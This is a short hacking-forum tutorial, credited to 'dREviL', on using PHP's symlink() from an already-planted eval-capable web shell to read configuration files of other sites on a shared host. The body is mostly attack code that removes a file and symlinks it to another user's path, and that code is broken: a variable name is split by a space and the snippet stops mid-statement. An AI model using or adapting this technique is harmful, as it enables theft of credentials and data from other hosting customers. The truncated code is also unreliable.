Symlink (PHP) Exploit

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++​+
Tutorial Name: Symlink (PHP) Exploit [Private (PhP Code)For Sometimes]
Author: dREviL
*Dont Share without credits*
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++​+

First of all we use symlink to read config file of other sites hosted in the same servers . Symlinkung can be done in many methods , and today i will show a new one that was private for sometimes and now its shared . In this tuto we will excecute a php(Eval Code) to symlink in a shared hosting . Let'Begin .We need a shell that allwows php eval code excecuting. First we get the full path of root /home/r00tb0x/public_html .And now the php code

Code:
$filepath='/home/username/public_html/txtfile';
$sitepath='/home/edit/public_html/';
$writeblefilepath='myfile.txt';$flib=$sitepath.$wr iteblefilepath;
@unlink($flib);
symlink($filepath, $flib);
echo readlink($flib) . "\n";
echo "

Categories: